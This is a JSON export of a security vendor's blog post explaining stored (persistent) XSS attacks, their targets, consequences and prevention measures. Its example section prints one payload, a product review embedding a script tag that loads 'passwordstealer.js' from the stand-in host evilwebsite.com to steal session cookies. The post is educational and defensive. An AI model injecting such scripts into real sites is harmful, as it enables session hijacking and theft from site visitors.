{"id":14295,"date":"2021-03-19T07:59:00","date_gmt":"2021-03-19T11:59:00","guid":{"rendered":"https:\/\/www.thesslstore.com\/blog\/?p=14295"},"modified":"2021-03-18T17:47:46","modified_gmt":"2021-03-18T21:47:46","slug":"the-ultimate-guide-to-stored-xss-attacks","status":"publish","type":"post","link":"https:\/\/www.thesslstore.com\/blog\/the-ultimate-guide-to-stored-xss-attacks\/","title":{"rendered":"The Ultimate Guide to Stored XSS Attacks"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"h-stored-xss-attacks-also-known-as-persistent-xss-attacks-are-the-type-with-the-farthest-reach-and-highest-potential-damage\">Stored XSS Attacks, Also Known as Persistent XSS Attacks, Are the Type With the Farthest Reach and Highest Potential Damage<\/h2>\n\n\n\n<p>Recently, we took a closer look at one of the items on the <a href=\"https:\/\/www.thesslstore.com\/blog\/keep-your-site-safe-with-the-owasp-top-10-list\/\">OWASP Top 10 Vulnerability List<\/a> \u2013 cross-site scripting (XSS). In that post, <a href=\"https:\/\/www.thesslstore.com\/blog\/everything-you-need-to-know-about-cross-site-scripting-attacks\/\">we covered the basics of XSS attacks<\/a> and performed a quick overview on each of the various types of XSS. Today, we\u2019re going to continue our series on XSS and do a deep dive on one of those specific types of XSS attack \u2013 Stored XSS, also commonly referred to as Persistent XSS.<\/p>\n\n\n\n<p>Stored XSS can end up being the most dangerous type of XSS attack because of the way they\u2019re carried out. Which scenario results in the most overall damage \u2013 a) a bad guy targets every single person that visits an ATM via a card scanner that\u2019s planted within the machine, or b) he instead sneaks up behind a single, particular person and watches as he enters their PIN. The former scenario would end up having a broader and more severe effect because the hacking device (the card scanner) is stored on the ATM, and thus every single person that accesses is potentially a victim.<\/p>\n\n\n\n<p>Stored XSS works in a similar manner. The attack vector ends up being permanently stored (hence the name) on the website\u2019s server, and anyone that accesses the page thus becomes susceptible to the affects of the malicious code that lives there. Persistent XSS attacks are therefore such a significant threat because they can have such a wide-ranging reach and do not require a social engineering phase (like Reflected XSS attacks do, which we\u2019ll cover in our next installment of this series) to get users to take a specific action like clicking a link.<\/p>\n\n\n\n<p>So, how exactly do Stored XSS attacks work? What are the consequences of a successful attack? What does a real-world attack scenario look like? And most importantly, how can you protect against them?<\/p>\n\n\n\n<p>Let\u2019s hash it out.<span id=\"newline\"><\/span><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-do-stored-xss-attacks-work\">How Do Stored XSS Attacks Work?<\/h2>\n\n\n\n<p>Persistent cross-site scripting attacks are able to occur when sites or web applications allow user input but don\u2019t properly sanitize or restrict the contents of it. This allows for malicious code to be entered as input, which is then stored on the server and displayed to unsuspecting site visitors.<\/p>\n\n\n\n<p>For example, if a hacker was able to include a malicious script when posting a comment on a popular blog, every person who read that blog article would be exposed to the malicious script. The attacker\u2019s code is incorrectly treated as valid input by the site in question and doesn\u2019t get properly encoded as a result.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"378\" height=\"473\" src=\"https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/Capture.jpg\" alt=\"\" class=\"wp-image-14299\" srcset=\"https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/Capture.jpg 378w, https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/Capture-240x300.jpg 240w, https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/Capture-75x94.jpg 75w\" sizes=\"auto, (max-width: 378px) 100vw, 378px\" \/><figcaption><em>An example of a text input field that could potentially be vulnerable to a Stored XSS attack.<\/em><\/figcaption><\/figure><\/div>\n\n\n\n<p>Now that the malicious code has a persistent presence on the target site, it will be executed every time a visitor accesses the page. The browser allows it because its same-origin policy is being circumvented \u2013 it would normally block the code but doesn\u2019t in this case because it\u2019s seemingly coming from a valid page. And to make matters worse, the stored nature of the script means that it subsequently gets served to every single user that triggers the script execution on the compromised page.<\/p>\n\n\n\n<p>Text input fields are the most common place for the injection to occur, but locations that don\u2019t normally contain scripts (like image tags or event attributes) are also prime targets. Any element that isn\u2019t subject to input validation, encoding, or filtering can possibly be taken advantage of by an attacker.<\/p>\n\n\n\n<p>Stored XSS is relatively easy for hackers to pull off because all they have to do after finding a vulnerable site is simply inject their evil code and sit back and wait for victims to pay it a visit (hackers will sometimes actively promote their handiwork via spam messages or social media posts, though). Locating the target site itself is the hardest part of the process. The kinds of vulnerabilities required don\u2019t exactly grow on trees and preventing them is usually one of the top priorities for administrators of at-risk sites.<\/p>\n\n\n\n<p>The process for finding a vulnerable target usually goes as follows:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>An attacker finds a website that may be vulnerable<\/li><li>They test it by attempting to store a script on the server and exploit the vulnerability<\/li><li>They navigate to the page that would deliver the malicious code<\/li><li>They check to see if the script executes<\/li><\/ol>\n\n\n\n<p>This is most often a manual process, however automated tools do exist that are capable of automatically and remotely injecting scripts.<\/p>\n\n\n\n<p>Not only does an attacker need to find a weakness that allows for permanent script embedding, but they also need to find a website with sufficient traffic in order to make it worth their while.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-the-primary-targets-of-stored-xss-attacks\">The Primary Targets of Stored XSS Attacks<\/h3>\n\n\n\n<p>Pretty much any site that allows for the sharing of content by users is a potential target for Persistent XSS attacks. Think anywhere that has comment fields or text boxes for user inputs, and any sites where that input is then stored and displayed to other users. Typical targets include:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Message boards<\/li><li>Social networking sites<\/li><li>Comment sections of websites such as blogs or video sharing platforms<\/li><li>Collaboration tools<\/li><li>CRM\/ERP systems<\/li><li>Email server consoles<\/li><\/ul>\n\n\n\n<p>Stored XSS attacks succeed because of the user\u2019s trust in genuine websites \u2013 the site just happens to have a vulnerability that can be exploited via XSS.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-consequences-of-stored-xss-attacks\">Consequences of Stored XSS Attacks<\/h2>\n\n\n\n<p>The impacts of Stored XSS attacks are wide ranging, and attackers can achieve a variety of goals by using this technique. The theft of session cookies and sensitive data are among the most common aims. By stealing session cookies, a hacker can <a href=\"https:\/\/www.thesslstore.com\/blog\/the-ultimate-guide-to-session-hijacking-aka-cookie-hijacking\/\">perform session hijacking<\/a>, allowing them to impersonate their victim within the site and potentially gain access to all kinds of private information.<\/p>\n\n\n\n<p>Persistent XSS attacks can also be used to alter the appearance of a website, like a kind of digital graffiti. This can range from subtle changes that try and trick the user into carrying out an action, to full-blown defacement of a site via political statements or offensive images and words.<\/p>\n\n\n\n<p>Attackers can use stored XSS attacks to redirect users to another site. Most likely they aren\u2019t going to send you somewhere nice or merely Rickroll you (although that <a href=\"https:\/\/www.youtube.com\/watch?v=dQw4w9WgXcQ\">has happened before<\/a>). Instead, you\u2019ll be directed to a hostile site that most likely contains malware, harmful scripts, phishing attempts, or all the above. Phony login pages are a common attack vector as well, and will appear similar to the legit version but instead send your credentials straight to the attacker.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"441\" height=\"304\" src=\"https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/module-prettytheft1.png\" alt=\"\" class=\"wp-image-14297\" srcset=\"https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/module-prettytheft1.png 441w, https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/module-prettytheft1-300x207.png 300w\" sizes=\"auto, (max-width: 441px) 100vw, 441px\" \/><figcaption><em>An example of a fake Facebook login prompt.<\/em><\/figcaption><\/figure><\/div>\n\n\n\n<p>Another possibility is a keylogger being planted on a victim\u2019s machine. All their keystrokes will be sent to the attacker, which could contain goodies such as credit card information and passwords.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-stored-xss-example\">Stored XSS Example<\/h2>\n\n\n\n<p>Now we\u2019ll look at how a Stored XSS attack would actually be carried out in the real world. We\u2019ll use an ecommerce site as an example &#8211; let\u2019s call it Wanda\u2019s Widgets. A common element on product pages is a place for customers to leave a review. Wanda installed a WordPress plugin on her site that allows users to rate her products on a scale of one to five and also leave a text review if they wish. Unfortunately, though, Wanda\u2019s plugin contains a vulnerability that lets third parties embed HTML tags within their review text.<\/p>\n\n\n\n<p>An attacker takes advantage by submitting the following review:<\/p>\n\n\n\n<h4 class=\"has-text-align-center wp-block-heading\" id=\"h-i-love-this-product-and-it-s-a-bargain-too-script-src-http-evilwebsite-com-passwordstealer-js-script\">I love this product, and it\u2019s a bargain too! \u201c&lt;script src=\u201dhttp:\/\/evilwebsite.com\/passwordstealer.js&#8221;&gt; &lt;\/script&gt;\u201d<\/h4>\n\n\n\n<p>Which means that the embedded tags they just submitted as part of their review are now part of the product page, no matter who opens it. So when Bob navigates to the page, \u201cpasswordstealer.js\u201d will be executed in his browser. That\u2019s bad news for Bob because his session cookie just got stolen. The hacker is now impersonating Bob on the website and has access to his credit card details. Bob has no idea though, and he might not even figure out what happened until after he gets his next credit card statement.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-prevent-stored-xss-attacks\">How to Prevent Stored XSS Attacks<\/h2>\n\n\n\n<p>The biggest thing is to never allow raw user input. You should treat all user input as untrusted and suspect. It\u2019s critical that all user input be strictly filtered and properly validated. Likewise, any data that\u2019s being output should be encoded. This keeps it from being treated as active content.<\/p>\n\n\n\n<p>Other preventative measures include:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Web Application Firewalls (WAF) \u2013 they employ signature-based filtering to stop malicious requests from being fulfilled.<\/li><li>Content Security Policy (CSP) \u2013 CSP can be enabled on your web server, and helps to detect and stop attacks.<\/li><li>Use vulnerability scanners to locate XSS vulnerabilities on your site. These work by testing every single entry point (places where users can input data to be processed by the site) and exit point (places where responses appear).<\/li><li>Technically, you can disable JavaScript in your browser, but this isn\u2019t practical since it would stop most websites from functioning correctly.<\/li><li>Employ whitelisting to only allow specific characters or patterns as input. Whitelisting is preferrable to blacklisting since blacklisting requires constant updating, and the sheer quantity of entries is difficult to manage.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-a-persistent-danger\">A Persistent Danger<\/h2>\n\n\n\n<p>Stored XSS attacks are an imposing threat, especially from the end-user\u2019s point of view due to the fact that there\u2019s not many preventative measures that can be taken. The danger is compounded by the nature of Stored XSS attacks, it\u2019s even in the name \u2013 they stick around and affect everyone that comes in contact with it.<\/p>\n\n\n\n<p>It\u2019s up to site owners to make sure their input fields are safe so that their users don\u2019t get exposed to hidden surprises when they least suspect it. All it takes is for a few key preventative measures to be enacted on the server side of things to effectively reduce the risk of Persistent XSS attacks to nearly zero. Otherwise, users will be crossing their fingers and playing a game of Russian Roulette every time they browse your site.\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center\" style=\"font-size:23px\"><span class=\"color\" style=\"color:#F07725\"><strong>Protect Your Site With CodeGuard Backup<\/strong><\/span><\/p>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<img loading=\"lazy\" decoding=\"async\" src=\"\/content\/images\/cg-vertical-logo.svg\" alt=\"CodeGuard Logo\" width=\"200\" height=\"111\" style=\"display: block;margin-left: auto;margin-right: auto;\">\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p>It&#8217;s like an undo button to reverse damage done by a mistake, cyber attack, a bad update, or other issues.<\/p>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link has-background has-central-palette-7-background-color no-border-radius\" href=\"https:\/\/www.thesslstore.com\/codeguard\/backup.aspx\">Explore CodeGuard Backup<\/a><\/div>\n<\/div>\n<\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n<\/div><\/div>\n\n\n\n<p class=\"has-small-font-size\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Stored XSS Attacks, Also Known as Persistent XSS Attacks, Are the Type With the Farthest Reach and Highest Potential Damage Recently, we took a closer look at one of the&#8230;<\/p>\n","protected":false},"author":37,"featured_media":14296,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":"","tve_updated_post":"","tve_custom_css":"","tve_user_custom_css":"","tve_globals":{},"tcb2_ready":0,"tcb_editor_enabled":0,"tve_landing_page":"","_tve_header":"","_tve_footer":""},"categories":[25],"tags":[],"class_list":["post-14295","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ssl-certificates","post-without-tags"],"views":16458,"jetpack_featured_media_url":"https:\/\/www.thesslstore.com\/blog\/wp-content\/uploads\/2021\/03\/bigstock-Commercial-Storage-Units-5194490.jpg","_links":{"self":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/posts\/14295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/comments?post=14295"}],"version-history":[{"count":0,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/posts\/14295\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/media\/14296"}],"wp:attachment":[{"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/media?parent=14295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/categories?post=14295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.thesslstore.com\/blog\/wp-json\/wp\/v2\/tags?post=14295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}